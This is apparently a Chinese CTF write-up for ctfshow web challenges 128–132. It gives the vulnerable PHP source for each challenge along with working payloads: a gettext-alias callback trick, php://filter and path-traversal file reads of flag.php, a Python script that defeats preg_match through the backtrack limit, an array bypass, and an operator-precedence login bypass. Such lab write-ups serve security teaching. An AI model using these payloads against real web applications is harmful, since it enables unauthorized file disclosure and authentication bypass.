目录
Web 128
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
一个新的姿势,当php扩展目录下有php_gettext.dll时:
_()是一个函数。
_()==gettext() 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。
call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。
当正常的gettext(“get_defined_vars”);时会返还get_defined_vars
为了绕过正则,_()函数和gettext()的效果一样,所以可以用_()函数代替gettext()函数。
call_user_func会利用_()将get_defined_vars返还出来然后再有一个call_user_func来调用get_defined_vars函数,然后利用var_dump函数就可以得到flag。
Payload:?f1=_&f2=get_defined_vars
Web 129
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 03:18:40
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos() 函数——查找字符串在另一字符串中第一次出现的位置(区分大小写),返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
所以f中需要有ctfshow 。
readfile() 函数输出一个文件。
利用php伪协议可以套一层协议,无效的话会被忽略。
Payload:
?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php
Base64解码得flag:
或者可以直接读取flag.php省去base64加密
Payload:?f=php://filter/ctfshow/resource=flag.php
还可以利用文件穿越来得到flag。
Payload:
?f=/ctfshow/../../../../var/www/html/flag.php
还有一种
payload:?f=./ctfshow/../flag.php
但看不懂。
Web 130
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
刚开始没看懂,但随手试了几次就出来了flag。
Payload:
POST:f=ctfshow
但还是不太理解,网上看了看多位大佬得wp。
.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复
所以在ctfshow前面必须有至少一个字符,才会返回true
所以才有了直接f=ctfshow。
还可以利用回溯限制来绕过。
当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。
import requests
url='http://8d380352-394f-4754-8bde-5c906930bcd2.challenge.ctf.show/'
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)
还可以通过数组来绕过,这是一个新东西。
stripos应用于数组的时候会返回null,null!==false。
Payload:
POST: f[]=1
Web 131
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
上一题的另外两种方法不能用了,只能老老实实回溯了。
import requests
url='http://7827dca0-b812-4948-bac9-0cd382fd656e.challenge.ctf.show/'
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url=url,data=data).text
print(r)
运行得到flag。
Web 132
上来发现一个网站,我还以为我进错了,又重新进了一遍发现没错,买啥思路,只能用御剑扫描一下。
发现有后缀/admin的网站访问发现以下代码。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 06:22:13
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
&&的优先级高于||所以在
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
中,先回运行&&再会运行||,当对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。
可以让第一个为flise并且令username为admin。
Payload:?code=admin&password=1&username=admin